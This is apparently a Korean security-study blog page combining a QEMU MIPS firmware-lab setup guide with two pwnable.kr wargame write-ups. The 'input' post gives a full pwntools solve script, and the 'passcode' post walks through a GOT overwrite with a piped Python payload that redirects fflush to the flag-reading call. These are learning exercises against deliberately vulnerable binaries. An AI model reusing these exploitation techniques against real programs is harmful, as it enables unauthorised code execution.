구축하기위해 검색도 많이하고 여러 블로그를 참조했습니다만, 제대로 실행되지 않아서 여러번 실패를 겪었습니다. 제 경험으로는

다운로드페이지에 게시된 대로 다운받아 실행을 하는게 가장 정확할 것같습니다.

혹시 제 캡쳐본과 링크를 열었을 때 업데이트 등의 이유로 게시된 버전이 다르다면 홈페이지 예제를 따라가는 것을 추천드립니다.



다운이 다 받아지셨다면, 이제 머신을 구동시켜 볼 수 있습니다.

1
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"



구동 방법은 파일다운 받았던 곳에 있던 샘플을 쉘에 날려주시면 됩니다.



2.3 네트워크 브릿지 설정

위 과정을 거치면 구동도 되고, 외부망과 연결도 됩니다만... 다만 Host -> Guest간 내부 통신이 되지 않습니다.

ftp, ssh등의 서비스를 이용하기엔 여러가지로 불편합죠,, 이러한 이유로 네트워크 브릿지 설정을 해주는 것이 편합니다.


역시 네트워크 브릿지 설정을 하기 위해 설치가 필요한 패키지가 있습니다.


1
apt-get install bridge-utils



tunctl이라는 패키지도 필요하다고는 하는데, apt-get install tunctl로는 설치가 안되는거 같구... 

[추가] tnctl설치 방법입니다.(2017-09-18)

1
apt-get install uml-utilities



저같은 경우에는 제 칼리 리눅스에 default로 설치 되어있었습니다. 

이번에 환경을 구축하면서 우분투와 데비안이 생각보다 많이 다른 걸 몸소 느낄 수 있었습니다ㅠㅠ

패키지 설치가 끝나면, 아래와 같이 가상 인터페이스를 생성하고 브릿지를 연결해줍니다.


1) 브릿지 디바이스 생성 

brctl addbr virbr0


2) 가상 tap0 인터페이스 생성

tunctl -t tap0 -u 유저명


3) eth0와 tap0 브릿지 추가, 인터페이스 up

brctl addif virbr0 eth0

brctl addif virbr0 tap0


ifconfig eth0 up
ifconfig tap0 up
ifconfig virbr0 up

brctl stp virbr0 on

4) 브릿지 작업 성공 확인
brctl show



5) virbr0인터페이스에 ip할당, eth0인터페이스의 ip주소 삭제

ifconfig virbr0 172.16.1.2/16

ifconfig eth0 0.0.0.0 promisc


ip addr flush dev eth0

route add default gw 172.16.255.254


위 과정을 마치면 설정은 끝났습니다!

이제 실행 할 때 사용했던 예제에 몇가지를 추가 해주면 됩니다.


1
qemu-system-mips -M malta -m 128M -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=net0,ifname=tap0,script=no,downscript=no -device e1000,netdev=net0,mac=00:aa:00:60:00:01
cs

이대로 돌려주시면되어욥




왼쪽 QEMU가 가상머신창, 오른쪽이 Host의 쉘입니다. 각자 IP가 할당되었어요.

qemu가 속도가 느리기 때문에 저는 Host에 vsftp를 설치해서 가상머신에서 파일을 다운받았습니다.


그리고 다운받은 fmk디렉터리의 rootfs디렉터리로 들어가서 chroot명령어를 실행해준 후 /sbin/httpd를 실행해서 http데몬을 실행합니다.

1
2
chroot ./ ./bin/sh
/sbin/httpd





위의 내용을 기반으로 만든 브릿지 설정하는 쉘코드와 가상머신 구동 쉘코드를 첨부합니다! 필요하신분은 받아서 써보세욥

runMips.sh

setup_bridge_sh


환경은 구축되었으니... 이제 열심히 분석해보아야겠네요, 분석은 추후에 포스팅해보도록 하겠습니다.

'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06
  1. 주잇 2018.10.18 20:48

    안녕하세요 ㅠㅠ apt-get install qemu 설치 했는데 qemu 명령어가 없다고 뜨는데 어떻게 해야되나요..?ㅠㅠㅠㅠ

    • JSBach Bach 2018.10.26 23:57 신고

      설치가 정상적으로 이루어졌는지 확인 먼저 해보시고요, 혹시 정상적으로 설치가되었는데도 명령어가 없다고 뜨는 문제는 환경변수가 제대로 설정되지 않았을 가능성이 큰것 같습니다.

  2. JoGeun 2018.10.26 22:39 신고

    브릿지 설정하신 부분에서 생략된 부분이 있는것 같아요.. 과정이랑 결과물이 너무 다르네욤. 알려주세요 ㅠ.ㅠ

    • JSBach Bach 2018.10.26 23:59 신고

      리눅스 계열에 따라 조금 다르기도하고, 같은 OS라도 버전에 따라 설정 방법이 상이해서 그런 것 같습니다ㅠ 혹시 어떤 OS이고 어떤부분이 다른지 알수 있을까요?

    • JoGeun 2018.10.27 00:11 신고

      저는 kali에서 mips가 아닌 armel로 진행중인데요. 홈페이지에 나온 명령어를 사용하여 진행하는 역시나 네트워크 문제때문에 서치하다가 블로그에 적혀있는대로 하였습니다.
      중간에 brctl show하면 똑같이 결과물이 출력이 되어서 위에 적으신대로 계속 진행을 했는데요. 마지막 호스트와 가상OS IP를 비교하는 사진에서는 각각 IP를 할당받았는데 저같은 경우엔 가상OS에는 lo인터페이스 밖에 없고 호스트에서는 virbr0에만 IP가 할당이 되어있습니다. 흠.. 문제 알고계신가요?.. 몰르셔도 답변해주셔서 감사합니다.!

  3. 2019.01.11 14:47

    비밀댓글입니다

  4. my-happyhouse 2020.11.26 02:20

    유용한 글 정말 잘 배우고 갑니다

  5. 궁금 2021.01.11 16:21

    저같은 경우는 chroot가 exec format errror가 뜨는데 혹시 원인이 뭔지 아시나요,.?

1. 문제확인



Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)


엄마~ 프로그램에 어떻게 내 입력이 통과 할 수 있어여? 하고 물어보고있어여

엄마는 아니지만 문제를 한번 봅시댱



2. 문제 코드 분석


2-1) main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");
 
        // argv
        if(argc != 100return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");
 
        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
        printf("Stage 2 clear!\n");
 
        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");
 
        // file
        FILE* fp = fopen("\x0a""r");
        if(!fp) return 0;
        if( fread(buf, 41, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");
 
        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 40!= 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
        printf("Stage 5 clear!\n");
 
        // here's your flag
        system("/bin/cat flag");
        return 0;
}



이번 문제는 메인함수밖에 없는데 지금까지 본 것들이랑 비교해서 더럽게 길었어여 ㅠㅠ

구성을 보니까 이번 문제를 풀려면 다섯가지 스테이지를 풀어야하는거 같네여


각 스테이지 별로 물어보는 항목을 정리하면!


1번 Stage는 프로그램 실행할 때 인자가 어떻게 들어가는지를 알고있냐? 

2번 Stage는 pwnable.kr fd문제처럼 file descriptor번호 알아?

3번 Stage는 프로그램 실행할 때 환경변수 줄 수 있냐?

4번 Stage는 프로그래밍으로 파일 핸들링할 수 있음?

5번 Stage는 소켓 통신 할 줄 암?


소스가 길어서 한번에 보기 힘드니까 스테이지 별로 짤라서 볼께여 ㄱㄱ



2-1) Stage 1

1
2
3
4
5
6
7
8
9
int main(int argc, char* argv[], char* envp[]){
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");
 
    return 0;
}



argc에는 ./input 과 같은 실행명령어를 포함해서 인자의 갯수가 들어있어여

argv는 char *형 배열인데, 인자가 각각 들어있고여, 가장 첫 번째에는 실행명령어가 들어있어여

예를 들어서 ./input aaa bbb 라고 실행을 하면


argc == 3

argv[0] == "./input"

argv[1] == "aaa"

argv[2] == "bbb" 가 되겠져?!


envp에는 프로그램을 실행할 때 로드하는 환경변수들이 들어있는데 얘는 카운트를 가지고있지를 않아여ㅠ

대신 배열요소의 끝검사를 NULL로하면 하나씩 다 뿌려볼 수 있답니당


여하튼! 

스테이지 1번을 풀려면 argc의 갯수를 100개로 맞추면서 argv['A'] 그러니까 argv[65]번째 인자엔 \x00이 있어야하고

argv[66]에는 \x20\x0a\x0d가 있으면 클리어 할 수 있을꺼에여 어렵지 않져?



2-1) Stage 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(int argc, char* argv[], char* envp[]){
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        
    read(2, buf, 4);    
    if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
 
    printf("Stage 2 clear!\n");
 
    return 0;
}



스테이지 2를 풀려면 read함수랑 파일디스크립터 번호를 알아야되여 ㅠㅠ


read함수 원형은


1
ssize_t read(int fd, void *buf, size_t nbytes);                            



요렇게 생긴놈입니당! 리턴타입 ssize_t는 size_t는 우선은 그냥 int형으로 생각하고 푸셔도

문제푸는데에는 지장이 없어영 하지만! 자세히 알고싶으시다면 아래 링크를 한번 살펴보세욥


당연하지만 간과하는 size_t ssize_t

- http://lacti.me/2011/01/08/different-between-size-t-ssize-t/ 


read는 파일디스크립터 번호를 받아서 지정한 바이트만큼 버퍼에 읽어오는 함수에여

여기서 예약되어있는 파일디스크립터 넘버를 몇 개 살펴보쟈규여


0 : stdin

1 : stdout

2 : stderr


얘네들을 이용하면 콘솔 I/O랑 에러났을 때 발생 한 값들을 read 할 수 있을거에여

문제에서는 0번이랑 2번 썼으니까 입력 / 에러발생에서 4바이트씩 읽어오겠져!



2-4) Stage 3

1
2
3
4
5
6
7
8
int main(int argc, char* argv[], char* envp[]){
        
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    return 0;
}



스테이지3은 환경변수에 \xde\xad\xbe\xef항목에 \xca\xfe\xba\xbe값만 셋팅해주면 문제가 없어보여여 


2-5) Stage 4

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc, char* argv[], char* envp[]){
                
    // file
    FILE* fp = fopen("\x0a""r");    
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
        
    printf("Stage 4 clear!\n");
 
    return 0;
}



스테이지 4는 파일을 열어서 맨앞에서 네바이트를 읽고 \x00\x00\x00\x00값인지 체크하고있는데

파일이름이 \x0a에여 ㅠㅠ 콘솔에서 만들순 엄꾸.. fopen같은 함수를 써서 만들어줘야겠어여


2-6) Stage 5

드뎌 마지막 스테이지 5를 봅시당


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char* argv[], char* envp[]){
                        
    // network    
    int sd, cd;
  
    struct sockaddr_in saddr, caddr;        
    sd = socket(AF_INET, SOCK_STREAM, 0);        
    if(sd == -1){                
        printf("socket error, tell admin\n");                
        return 0;        
    }
    
    saddr.sin_family = AF_INET;        
    saddr.sin_addr.s_addr = INADDR_ANY;        
    saddr.sin_port = htons( atoi(argv['C']) );
        
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){                
        printf("bind error, use another port\n");               
        return 1;        
    }
        
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);        
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        
    if(cd < 0){                
        printf("accept error, tell admin\n");               
        return 0;        
    }
        
    if( recv(cd, buf, 40!= 4 ) return 0;        
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;        
    printf("Stage 5 clear!\n");
 
    return 0;
}




어휴; 뭐 땀시 이렇게 소스가 길었나 했더니 스테이지 5때문이네여;;

하나하나 다 뜯어보고 설명하면 좋지만 양이 넘나 많네여 ㅠ 잘 모르시거나 생소하신 분들은 링크 걸어드릴게여


[소켓]3. 함수와 구조체 설명!

http://rotapple.tistory.com/8 


흐름만 간략히 파악하고 가면 실행할 때 던져주는 인자 중에 argv['C'] 요놈 그러니까 argv[67] 에 있는 값을 포트로해서

소켓을 열꺼에여 그리구 그 소켓에서 네 바이트를 받아서 \xde\xad\xbe\xef값이 들어오면 클리어!


3. 익스플로잇 코드


이번 문제를 풀려면 간단한 입력만으로는 안끝나여 ㅠㅠ 

파일을 핸들링하거나 소켓으로 데이터를 쏘거나 해야해서 짧게나마 코드를 작성해서 풀어야할꺼에여

이 문제 푸신 분들이 거의 c로 작성해서 푸셨더라고여? 그래서 저는 파이썬으로 도전해보려고 쌩파이썬으로 도전했는데

생각보다 너무 안풀리고 의도랑 다르게 돌아가는 바람에 ㅠ

파이썬으로 짠 코드를 컨닝하려고 하는 도중!! pwntools라는 걸 알게됐어여


기능이 무궁무진한거 같긴한데 이번 포스팅에서 한번에 다룰순 없을거 같고 요번에 쓴거 위주로만 썰풀어볼게여

일단 결과코드부터 ㄱㄱ


아 코드는 이 분 블로그를 참조했어여!  

http://gmltnscv.tistory.com/27


그리구 문제풀려고 서버에 접속하면 홈디렉터리에서는 코드를 작성할 수가 없어여 ㅠㅠ

/tmp 아래에 자기 폴더를 하나 뙇 만들어주고 작업을 하시면 됩니당


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
with open('./stderr_file''a') as f:
    f.write('\x00\x0a\x02\xff')
 
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
argvs[ord('C')] = '99999'
 
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr_file'), env=envVal)
target.sendline('\x00\x0a\x00\xff')
 
conn = remote('localhost'99999)
conn.send('\xde\xad\xbe\xef')
target.interactive()                                                 



첫 번째 줄 from pwn import * 에서 pwntools를 임포트하고이써여 물론! 임포트하려면 설치를 해야겠져?


설치 방법은

apt-get install python2.7 python2.7-dev python-pip

pip install pwntools

apt-get install libcapstone-dev


뙇 치면 설치가 뙇!! 후하


별 이상 없이 설치가 되셨다면 뒷부분 이어서 ㄱㄱ할게여


3 ~ 5라인은 스테이지 1번을 위한 부분이에여

3라인에서 argvs를 선언해서 0부터 99까지 문자열로 만들었어여

4, 5라인에서는 ord()함수를 통해서 문자를 정수형으로 바꿔준담에 스테이지1에서 원하는 값들로 값들을 바꿔줬지영


7~8라인은 스테이지 2를 풀기위한 부분이에여 stderr_file이라는 파일을 만들어서 문제에서 요하는(stderr일 때)값을 썼어여

with 문을 써서 열면 따로 닫아줄 필요가 없다는 사실!

18라인에서 stdin을 해주려고 sendline을 써서 값을 넣어줬어여



10라인에 envVal은 환경 변수를 선언했어여 이따가 실행할 때 넘겨주면 뙇! 하고 스테이지 3을 풀 수 있어여 


12 ~ 13라인은 스테이지 4에서 파일 열어서 값읽어보는거 있었짜나여? 그거 때매 같은이름으로 파일 열어서 값써준검미다.


15 라인에서 어디 포트로 쏠껀지 인자에 포트번호 써준 담에

20라인에서 연결하고!

21라인에서 값을 뙇 하고 쏴줌으로써 스테이지 5도 해결이되지욥


17라인이 이 모든 셋팅을 마치고 실행하는 부분이에여 executable에서 실행할 바이너리 주소, argv에 전달할 인자,

stderr에서 stderr일 때 할 행위가 들어가있고, 환경변수까지 전달을 해줬어여



다 작성을 마치고 기쁜마음으로 뙇 돌리면!!!!



안나와여 플래그가 ㅠㅠㅠㅠㅠ


아 읽어줄 플래그가 엄꾸나! 근데.... 퍼미션때매 카피도안되고ㅠㅠ..


그래서 심볼릭 링크를 걸어줍니다 헤헷


그리고 다시 한번 돌리면!!


뙇 하고 성공했어여ㅋㅋ


이번 문제는 요구하는 것들이 어렵지는 않았는데 익스플로잇코드를 처음 짜본..터라 쉽지는 않았던거 같아여 ㅠㅠ

그래도 덕분에 pwntools라는 툴도 알게됐으니~~ 다음부턴 아주 요긴하게 써먹어야겠쯥니당 ! 이상!


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12

1. 문제확인





Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


문제를 대충 해석해보면, 

엄마가 패스워드 넣는 로그인시스템을 만들어보라고 말했어~

내 초기 C코드는 에러없이 컴파일이 되었지!

뭐 워닝이 쫌있긴했는데 누가신경쓰겠냐? 라고 하고 있습니다.


우선 주어진 접속정보로 서버에 접속해서 passcode.c를 봐야겠네여



2. 문제 코드 분석


아래는 문제로 주어진 passcode.c에여


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}



2-1) main()

프로그램 실행에 필요한 인자는 특별히 없어보이네여?

가장 먼저, Toddler`s Secure Login System 1.0 beta. 라는 문자열을 출력한 후

welcome, login을 순차적으로 호출 하고

Now I can safely trust you that you have credential :) 출력해주면 프로그램이 끝나고있어여


2-2) welcome()

welcome함수에서는 이름을 입력받기위해 char 배열 100바이트짜리가 하나 선언이 되어 있어여

enter you name : 에 맞추어 이름을 입력하면,

Welcome [입력한 이름]! 을 출력해줍니다. 여기서 %100s로 100바이트만 받는 다는 점만 인지해두세여


2-3) login()

login 함수에서는 패스워드를 입력 받고 인증에 성공하면 플래그를 읽어주는 의도로 만들고 싶었던 것 같은 소스를 볼 수 있어여

꼼꼼하신 분이라면 바로 이상한 점을 아실 수 있겠져? scanf에서 입력을 받는 변수에 &가 빠져있어여 ㅠㅠ

그리고 리눅스에서는 제대로 동작 하지 않는 것으로 알고 있는뎅, passcode1을 입력 받은 다음 입력버퍼를 날려주는 fflush()를 호출하고 있어여


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d"&passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d"&passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    }
 
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}



원래 의도를 예상해서 코드를 수정해보면 이처럼 바꿔볼 수 있겠져?
scanf에서 변수를 저장할 때는 이렇게 해당 변수의 주소값을 인자로 넣어줘야돼여 아마 문제에서 언급했던 워닝은 여기서 났겠네여
게다가 패스워드를 입력받아 저장 하려고했던 passcode1과 passcode2는 초기화 과정을 거치고 있지 않기 때문에 garbage값이 들어 있을꺼에여
결과적으론 이 가비지 값을 주소로 읽어서 거기다가 입력값을 쓰게 될 꺼에여


3. 디버깅


3-1) main()


2-1) 에서 살펴봤듯이 별내용은 없어 보이네여 printf를 실행하기 위한 put을 각각 호출 하고, welcome과 login을 순차적으로 호출하네여?


움..참고로 이번에 알게된 건데 문제서버에서 peda를 사용하고 싶으면 gdb를 실행한 후 source /usr/share/peda/peda.py를 쳐주면 peda가 실행되여ㅠ 넘나 편한 것..


3-2) welcome()

여기서부턴 자세히 봐야 할 부분이 있어여

맨처음 함수 인트로에 해당하는 스택프레임 부분이 +0과 +1라인에서 이루어지고 있어여

바로 다음 +3라인에서는 소스에서 살펴봤던 login함수 내 지역변수인 name[100]을 위한 공간확보를 하고 있네여

0x88만큼 스택을 확보했으니까 dummy까지 합쳐서 136바이트를 확보한 것을 알 수 있져?



실행을 해서 확인을 해보도록 하져



welcome+9에 브레이크 포인트를 건 멈춘 모습이에여

ebp는 0xffb771e8, esp는 0xffb77160으로 (0xffb771e8 - 0xffb77160)0x88만큼 스택 공간이 확보되어있는 것을 확인해 볼 수 있어여

여기까지의 스택 상황을 한번 그려본다면 아래처럼 되겠져?


welcome+48에서 scanf을 호출해서 입력을 받고 welcome+68에서 print를 해주는 부분을 분석해서 정확한 더미부분과 name변수의 공간을

확인해 봅시당!

welcome+68에서 브레이크를 걸고 진행을 해보면,

0xffde9198에 입력한 값(저는 JSBach를 입력했어여)이 위치하고 있는 것을 알 수 있어여, 이 정보를 가지고 스택을 다시 그려보져


확보 된 0x88(136)사이즈가 이처럼 사용되고 있다는 것 까지 알아냈습니다. welcome에서 볼 수 있는 사항은 여기 까지구 login을 보면서

이 내용을 어떻게 써먹을 지! 확인을 해보면 되겠습니당



3-3) login()

login함수도 역시 스택프레임을 구성하는 것으로 시작하고있어여 그리고 passcode1과 passcode2를 위한 공간을 확보하고있져?

0x28만큼 확보하고 있네여 login+6에 브레이크를 잡고 자세히 한번 살펴봅시당



ebp가 0xffde9208이고, esp가 0xffde91e0기때문에 0x28(40바이트)만큼 공간이 확보된 것을 알 수 있습니다.

위와 같이 스택을 똑같이 그려보면?

요렇게 그려 볼 수 있겠져? 근데 잘보면 ebp가 welcome함수랑 똑같아여

welcome함수 콜 후에 바로 login함수를 콜 했기 때문에, 당연한 것일 수 있지만 이게 실마리입니다.


우선 0x28공간이 어떻게 구분되어지는지 확인을 해봐야겠져!

passcode1을 입력을 받는 login+34부분에 브레이크 포인트를 걸고 한번 봅시당


scanf에서 사용하는 첫 번째 인자인 %d가 스택 최상단에 있고, 바로 아래 passcode1가 있겠네여?

이 passcod1의 값을 어떻게 가져왔는지 scanf 호출 전(login+24, +27)을 보면 알 수 있어여


mov edx, DWORD PTR[ebp-0x10]            // edx에 ebp-0x10의 주소에 있는 값을 대입

mov DWORD PTR [esp+0x4], edx            // esp+0x4의 주소에 edx값을 대입


즉, ebp-0x10 -> 0xffde9208 - 0x10 = 0xffde91f8에 있는 값을 가져다가 쓴다는 게 되는거져

아까 welcome에서 봤던 스택 모습을 한번 더 볼까여?


ebp는 welcome과 login이 동일하게 0xffde9208을 쓰고있습니다.

그래서 ebp-0x10 의 위치라면! ebp로부터 16바이트가 떨어진 곳의 값이 되겠네여, 그럼...

name입력에서 끝 4바이트가 된다는 것을 알 수 있습니다.


요기까지 상황을 정리해보겠습니당!


1. scanf에는 메모리에 쓰고싶은 곳의 포인터를 넘겨준다.

2. 그런데 개발자가 실수로 & 기호를 빼먹어서 변수에 있는 값을 포인터로 사용하게되었다.

3. 그 변수에 있는 값은 앞의 함수에서 입력한 값의 영향을 받는다.


이름을 입력할 때 마지막 네 바이트에 입력하고 싶은 메모리 번지를 넣고 그 다음 scanf에서 값을 쓰면

원하는 메모리번지에 값을 넣을 수 있다! 라는 결론 까지 올 수 있습니다.


한번 확인한 사항이 맞는지 테스트 값을 넣어서 확인을 해보겠습니다.


입력값은 A가 96개 B 4개를 넣었습니다. 우리가 확인 한 대로라면 scanf의 두 번째인자에는 0x42424242가 들어가 있어야되여...



확인한 대로 잘들어가있네여 ㅠㅠ 


그런데 이걸 가지고 어떻게 익스플로잇 할 수 있을까여??

소스 상에서는 passcode1과 passcode2의 값이 모두 일치해야 조건을 만족하고 플래그를 읽어주는데...

결과부터 말씀드리면 passcod1을 입력받은 후 fflush함수를 호출 할 때 GOT의 주소를 바꿔줌으로써 플래그를 읽어볼 수 있습니다.


PLT / GOT가 무엇인지 자세히 알고 싶으신 분은 아래 링크를 참조 하세여!


PLT와 GOT 자세히 알기1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT 자세히 알기2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


[참조] https://bpsecblog.wordpress.com/


문제 풀이에 필요한 정도로만 간략히 설명을 드리자면

동적 라이브러리를 사용할 때 프로그램 내에 임포트한 라이브러리의 함수가 없기 때문에 (여기서는 fflush함수가 되겠습니다.)

해당 함수의 주소를 얻어 올 수 있는 테이블들입니다.


라이브러리 함수를 호출하게 되면 먼저 plt로 간 후, got로 점프를 뛰고 got에서 라이브러리의 함수 주소를 얻어오는 구조가 되겠습니다.


우리는 이 부분에서 fflush함수 호출 할 때, plt에서 got로 점프를 뛰는 부분의 주소를 login+127의 주소(system("/bin/cat flag"))로 바꾸어

익스플로잇을 시도해볼 수 있습니다.


그럼 수정해야 될 주소를 확인해 봅시당!

0x08048593 <+47>: call   0x8048430 <fflush@plt>


여기가 최초 plt테이블로 뛰는 부분이에여, 저 안에 가면 got로 점프 뛰는부분이 있을거에여


첫 줄에 바로 점프뛰는 부분을 보면 0x804a004로 점프를 뛰고 그 주소를 보니깐! got로 뛰어가고있는 모습을 볼 수 있네욥

여기서 우리가 바꿀 주소가! 바로 0x804a004에요, 여기다가 login+127의 주소인 0x080485e3을 넣어 줄꺼랍니다.



4. 페이로드 작성

작성해야될 페이로드를 프로토 타입으로 한번 보면 요렇게 될꺼에여

NOP 96개 + got로 뛰는 주소 + login+127의 주소


결과부터 보면 


(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode 이렇게 되겠습니다.


이제 찬찬히 또 뜯어봅시당


프로그램에 입력을 넣어 주는 부분은 파이썬을 사용했어여

NOP에 해당하는 \x90이 96개 들어갔습니당, 그리고 리틀엔디언 방식으로 주소를 때려박아야하니깐 한바이트씩 역순으로!

0x804a004 -> \x04\xa0\x04\x08이 되는거고여


그리고 scanf에서 포맷이 %d 즉, 정수형으로 받고있기 때문에~

0x080485e3을 십진수로 변환해준 134514147을 넣어줬어여


근데 뭐 이상한거 없으신가여? 제가 초보자여서 그런지 여기서 헤맸어여 ㅠㅠ

name[100]에 100바이트가 넘는 문자열을 입력하면 오버플로우가 안나나? 하는 생각을 했더랬져


제가 혹시 위에서 얘기했던 %100s 기억나시나요? 저렇게 사이즈를 정해줌으로써 딱 100바이트만 입력받고 100바이트이상 넘치는 문자열은

다음 인풋으로 넘어가더라고여..ㅎ;;;


그래서 정리해보면~


처음 이름을 입력하는 곳에 NOP + 0x804a004까지 들어가고 그 다음 passcode1을 입력하려고했던 로직에

0x080485e3이 입력이 되서 플래그를 읽을 수 있었습니다~







'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12
  1. 5ddish 2019.02.11 20:26

    안녕하세요 문제푸는 도중에 질문사항이 생겨 질문드립니다.

    본문 내용을 보면.

    '이름을 입력할 때 마지막 네 바이트에 입력하고 싶은 메모리 번지를 넣고 그 다음 scanf에서 값을 쓰면 원하는 메모리번지에 값을 넣을 수 있다! 라는 결론 까지 올 수 있습니다. '.

    라는 글이 있고 아래 사진에 실제로 peda 에서 BBBB 를 주소값으로 참조하는걸 확인하였습니다.

    그러면 해당 BBBB 영역에 바로 login+127 의 주소를 넣으면 안되는지 궁금합니다... ( 왜 꼭 PLT, GOT 를 이용해야하는지 .. ?) 실제로 해봐도 안되더라구용 ..

    그리고 왜 바로 system 함수 호출하는 login+134 부분을 넣지 않고 login+127 부분을 넣는지도 궁금합니다 ..

    감사합니다

    • JSBach Bach 2019.02.19 14:04 신고

      답변이 늦어서 죄송합니다;
